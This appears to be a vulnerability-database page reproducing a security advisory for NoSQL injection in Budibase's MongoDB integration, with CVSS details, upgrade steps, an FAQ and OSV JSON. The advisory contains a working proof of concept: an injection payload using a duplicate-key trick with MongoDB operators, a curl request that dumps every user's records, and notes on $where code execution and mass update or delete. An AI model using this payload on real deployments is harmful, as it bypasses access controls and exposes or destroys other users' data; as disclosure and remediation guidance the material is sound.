GHSA-pmpg-2mxq-6xwr: Budibase SQL Injection Vulnerability

HIGH
CVSS 7.1
CWE-89
Published
Advisory Summary

GHSA-pmpg-2mxq-6xwr is a HIGH (CVSS 7.1) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Budibase libraries in the npm ecosystem. The issue involves nosql injection in mongodb integration: collection dump, $where js exec, cross-collection pivot, arbitrary update/delete. Remediation is available in the latest vendor maintenance releases.

GHSA-pmpg-2mxq-6xwr at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-pmpg-2mxq-6xwr
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-pmpg-2mxq-6xwr

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: Latest secure release
npm install @budibase/server@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-pmpg-2mxq-6xwr, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like `{"email": "{{ currentUser.email }}"}` so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with `noEscaping: true` and then `JSON.parse`d, Bob (a BASIC user) overrides the builder's filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through `interpolateSQL()`; the MongoDB path has no equivalent, so the scoping pattern Budibase's own docs show is unsafe. ## Details ### Enrichment `packages/server/src/sdk/workspace/queries/queries.ts:105-125` enriches every string field of the query with handlebars, then parses the enriched `json` field: ```typescript enrichedQuery[key] = processStringSync(fields[key], parameters, { noEscaping: true, noHelpers: true, escapeNewlines: true, }) // ... enrichedQuery.json = JSON.parse( enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody ) ``` `noEscaping: true` turns `{{name}}` into `{{{name}}}`, which Handlebars renders without HTML-escaping. Any `"` or `}` the attacker supplies lands verbatim in the enriched string. `JSON.parse` then produces a structured object whose top-level keys and operators came from the parameter value. ### Execution `packages/server/src/integrations/mongodb.ts:499-512`: ```typescript async read(query: MongoDBQuery) { try { await this.connect() const db = this.client.db(this.config.db) const collection = db.collection(query.extra.collection) let json = this.createObjectIds(query.json) switch (query.extra.actionType) { case "find": { if (json) { return await collection.find(json).toArray() } ``` `createObjectIds` walks the object and rewrites strings that look like `ObjectId(...)`. It does not strip `$`-prefixed keys and does not reject operator-shaped values. The injected filter reaches `collection.find` unchanged. For comparison, SQL datasources go through `interpolateSQL` at `packages/server/src/threads/query.ts:145`, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent. ### Duplicate-key trick The template gives the attacker one substitution point inside the `name` value. The outer `{"name": "` / `"}` is fixed. The attacker's payload: ``` x", "name": {"$ne": "x"}, "$comment": "bud-033 ``` Renders to: ```json {"name": "x", "name": {"$ne": "x"}, "$comment": "bud-033"} ``` `JSON.parse` keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node's `JSON.parse` keep the last), so the parsed object is: ```js { name: { $ne: "x" }, $comment: "bud-033" } ``` `$comment` is a MongoDB meta operator that the server accepts and ignores, so it consumes the template's trailing `"}` without restricting the query. The filter that reaches MongoDB is `name != "x"`, which matches every document. ## Proof of Concept Tested against Budibase 3.35.8 (master at f960e361) and MongoDB 6. Step 1: Admin creates a MongoDB datasource and seeds three documents: ```bash docker run -d --name mongo -p 27017:27017 mongo:6 docker exec mongo mongosh --quiet --eval ' db = db.getSiblingDB("testdb"); db.users.insertMany([ {name:"alice", email:"alice@x.com", secret:"public-alice"}, {name:"bob", email:"bob@x.com", secret:"PRIVATE-BOB"}, {name:"eve", email:"eve@x.com", secret:"PRIVATE-EVE"} ]);' ``` Step 2: Alice, a builder, configures the datasource and writes a MongoDB query `find-by-name` whose `json` field is `{"name": "{{name}}"}`. She publishes the app and grants Bob (BASIC) a role on it. Step 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. `POST /api/queries/:queryId` is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users): ```bash curl -sS -b "$BOB_COOKIE" -X POST "$BASE/api/queries/$QUERY_ID" \ -H "Content-Type: application/json" -H "x-budibase-app-id: $PROD_APP" \ -d '{"parameters":{"name":"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033"}}' ``` Legitimate `name=alice` returned only Alice: ```json [{"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"}] ``` The injection payload returned all three documents: ```json [ {"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"}, {"_id":"...","name":"bob", "email":"bob@x.com", "secret":"PRIVATE-BOB"}, {"_id":"...","name":"eve", "email":"eve@x.com", "secret":"PRIVATE-EVE"} ] ``` MongoDB's profiling confirmed the filter that reached the server: ```json {"find":"users","filter":{"name":{"$ne":"never-matches"},"$comment":"bud-033"}} ``` ## Impact The builder's per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone's. Concrete scenario: builder publishes an app whose "My records" screen runs a MongoDB query with `json` = `{"email": "{{ currentUser.email }}"}`. Each app user is supposed to see only the rows where `email` matches their session. Bob, a BASIC user in that app, sends `bob@x.com", "email": {"$ne": "x"}, "$comment": "x` as the `currentUser.email` binding replacement and receives every row in the collection, including other tenants' users, admin records, and any secret fields the builder stored alongside. The blast radius depends on what the builder exposed: - **Read queries**: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users' secrets). - **`$where` operator**: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels. - **`$function` / `$accumulator`** (MongoDB 4.4+): arbitrary JS in aggregation stages. - **`$lookup`**: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them. - **`update` / `delete` action types**: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach. The blast radius is the builder's own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer's external Mongo, so the attacker reads and writes data the builder's connection has access to and does not cross into Budibase's tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern (`{{binding}}` inside the JSON body) is the exact shape Budibase's documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the `$where` / `$lookup` / write-action paths exist but depend on what primitives the builder exposed. ## Recommended Fix Strip `$`-prefixed keys from any object that originates from user-controlled parameters before it reaches `collection.find`/`updateOne`/`deleteOne`. A single guard in `createObjectIds` covers the read, update, and delete paths: ```typescript // packages/server/src/integrations/mongodb.ts:394 (createObjectIds) const DANGEROUS = new Set([ "$where", "$function", "$accumulator", "$expr", "$regex", "$ne", "$nin", "$gt", "$gte", "$lt", "$lte", "$or", "$and", "$nor", "$not", "$exists", "$type", "$mod", "$text", "$comment", ]) function stripOperators(obj: any): any { if (obj === null || typeof obj !== "object") return obj if (Array.isArray(obj)) return obj.map(stripOperators) const cleaned: Record<string, any> = {} for (const [k, v] of Object.entries(obj)) { if (DANGEROUS.has(k)) continue cleaned[k] = stripOperators(v) } return cleaned } ``` A safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class. --- *Found by [aisafe.io](https://aisafe.io)*

GHSA-pmpg-2mxq-6xwr Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
≤ 3.38.1

References

Frequently Asked Questions

What is GHSA-pmpg-2mxq-6xwr?
GHSA-pmpg-2mxq-6xwr is a security vulnerability in Budibase involving NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/server.
What version fixes GHSA-pmpg-2mxq-6xwr?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-pmpg-2mxq-6xwr?
GHSA-pmpg-2mxq-6xwr has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with GHSA-pmpg-2mxq-6xwr?
GHSA-pmpg-2mxq-6xwr is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check npm dependencies for GHSA-pmpg-2mxq-6xwr?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pmpg-2mxq-6xwr",
  "modified" : "2026-07-24T21:43:34Z",
  "published" : "2026-07-24T21:43:34Z",
  "aliases" : [ ],
  "summary" : " Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete",
  "details" : "## Summary\n\nAn end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like `{\"email\": \"{{ currentUser.email }}\"}` so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with `noEscaping: true` and then `JSON.parse`d, Bob (a BASIC user) overrides the builder's filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through `interpolateSQL()`; the MongoDB path has no equivalent, so the scoping pattern Budibase's own docs show is unsafe.\n\n## Details\n\n### Enrichment\n\n`packages/server/src/sdk/workspace/queries/queries.ts:105-125` enriches every string field of the query with handlebars, then parses the enriched `json` field:\n\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n  noEscaping: true,\n  noHelpers: true,\n  escapeNewlines: true,\n})\n// ...\nenrichedQuery.json = JSON.parse(\n  enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody\n)\n```\n\n`noEscaping: true` turns `{{name}}` into `{{{name}}}`, which Handlebars renders without HTML-escaping. Any `\"` or `}` the attacker supplies lands verbatim in the enriched string. `JSON.parse` then produces a structured object whose top-level keys and operators came from the parameter value.\n\n### Execution\n\n`packages/server/src/integrations/mongodb.ts:499-512`:\n\n```typescript\nasync read(query: MongoDBQuery) {\n  try {\n    await this.connect()\n    const db = this.client.db(this.config.db)\n    const collection = db.collection(query.extra.collection)\n    let json = this.createObjectIds(query.json)\n    switch (query.extra.actionType) {\n      case \"find\": {\n        if (json) {\n          return await collection.find(json).toArray()\n        }\n```\n\n`createObjectIds` walks the object and rewrites strings that look like `ObjectId(...)`. It does not strip `$`-prefixed keys and does not reject operator-shaped values. The injected filter reaches `collection.find` unchanged.\n\nFor comparison, SQL datasources go through `interpolateSQL` at `packages/server/src/threads/query.ts:145`, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.\n\n### Duplicate-key trick\n\nThe template gives the attacker one substitution point inside the `name` value. The outer `{\"name\": \"` / `\"}` is fixed. The attacker's payload:\n\n```\nx\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\n```\n\nRenders to:\n\n```json\n{\"name\": \"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\"}\n```\n\n`JSON.parse` keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node's `JSON.parse` keep the last), so the parsed object is:\n\n```js\n{ name: { $ne: \"x\" }, $comment: \"bud-033\" }\n```\n\n`$comment` is a MongoDB meta operator that the server accepts and ignores, so it consumes the template's trailing `\"}` without restricting the query. The filter that reaches MongoDB is `name != \"x\"`, which matches every document.\n\n## Proof of Concept\n\nTested against Budibase 3.35.8 (master at f960e361) and MongoDB 6.\n\nStep 1: Admin creates a MongoDB datasource and seeds three documents:\n\n```bash\ndocker run -d --name mongo -p 27017:27017 mongo:6\ndocker exec mongo mongosh --quiet --eval '\n  db = db.getSiblingDB(\"testdb\");\n  db.users.insertMany([\n    {name:\"alice\", email:\"alice@x.com\", secret:\"public-alice\"},\n    {name:\"bob\",   email:\"bob@x.com\",   secret:\"PRIVATE-BOB\"},\n    {name:\"eve\",   email:\"eve@x.com\",   secret:\"PRIVATE-EVE\"}\n  ]);'\n```\n\nStep 2: Alice, a builder, configures the datasource and writes a MongoDB query `find-by-name` whose `json` field is `{\"name\": \"{{name}}\"}`. She publishes the app and grants Bob (BASIC) a role on it.\n\nStep 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. `POST /api/queries/:queryId` is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):\n\n```bash\ncurl -sS -b \"$BOB_COOKIE\" -X POST \"$BASE/api/queries/$QUERY_ID\" \\\n  -H \"Content-Type: application/json\" -H \"x-budibase-app-id: $PROD_APP\" \\\n  -d '{\"parameters\":{\"name\":\"x\\\", \\\"name\\\": {\\\"$ne\\\": \\\"x\\\"}, \\\"$comment\\\": \\\"bud-033\"}}'\n```\n\nLegitimate `name=alice` returned only Alice:\n\n```json\n[{\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"}]\n```\n\nThe injection payload returned all three documents:\n\n```json\n[\n  {\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"},\n  {\"_id\":\"...\",\"name\":\"bob\",  \"email\":\"bob@x.com\",  \"secret\":\"PRIVATE-BOB\"},\n  {\"_id\":\"...\",\"name\":\"eve\",  \"email\":\"eve@x.com\",  \"secret\":\"PRIVATE-EVE\"}\n]\n```\n\nMongoDB's profiling confirmed the filter that reached the server:\n\n```json\n{\"find\":\"users\",\"filter\":{\"name\":{\"$ne\":\"never-matches\"},\"$comment\":\"bud-033\"}}\n```\n\n## Impact\n\nThe builder's per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone's.\n\nConcrete scenario: builder publishes an app whose \"My records\" screen runs a MongoDB query with `json` = `{\"email\": \"{{ currentUser.email }}\"}`. Each app user is supposed to see only the rows where `email` matches their session. Bob, a BASIC user in that app, sends `bob@x.com\", \"email\": {\"$ne\": \"x\"}, \"$comment\": \"x` as the `currentUser.email` binding replacement and receives every row in the collection, including other tenants' users, admin records, and any secret fields the builder stored alongside.\n\nThe blast radius depends on what the builder exposed:\n\n- **Read queries**: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users' secrets).\n- **`$where` operator**: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.\n- **`$function` / `$accumulator`** (MongoDB 4.4+): arbitrary JS in aggregation stages.\n- **`$lookup`**: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.\n- **`update` / `delete` action types**: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.\n\nThe blast radius is the builder's own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer's external Mongo, so the attacker reads and writes data the builder's connection has access to and does not cross into Budibase's tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern (`{{binding}}` inside the JSON body) is the exact shape Budibase's documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the `$where` / `$lookup` / write-action paths exist but depend on what primitives the builder exposed.\n\n## Recommended Fix\n\nStrip `$`-prefixed keys from any object that originates from user-controlled parameters before it reaches `collection.find`/`updateOne`/`deleteOne`. A single guard in `createObjectIds` covers the read, update, and delete paths:\n\n```typescript\n// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)\nconst DANGEROUS = new Set([\n  \"$where\", \"$function\", \"$accumulator\",\n  \"$expr\", \"$regex\", \"$ne\", \"$nin\", \"$gt\", \"$gte\", \"$lt\", \"$lte\",\n  \"$or\", \"$and\", \"$nor\", \"$not\", \"$exists\", \"$type\", \"$mod\",\n  \"$text\", \"$comment\",\n])\n\nfunction stripOperators(obj: any): any {\n  if (obj === null || typeof obj !== \"object\") return obj\n  if (Array.isArray(obj)) return obj.map(stripOperators)\n  const cleaned: Record<string, any> = {}\n  for (const [k, v] of Object.entries(obj)) {\n    if (DANGEROUS.has(k)) continue\n    cleaned[k] = stripOperators(v)\n  }\n  return cleaned\n}\n```\n\nA safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/pull/18907"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/dd8c0654b35cd89ce3645f2355f4bf2ff9a5dd80"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.39.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T21:43:34Z",
    "nvd_published_at" : null
  }
}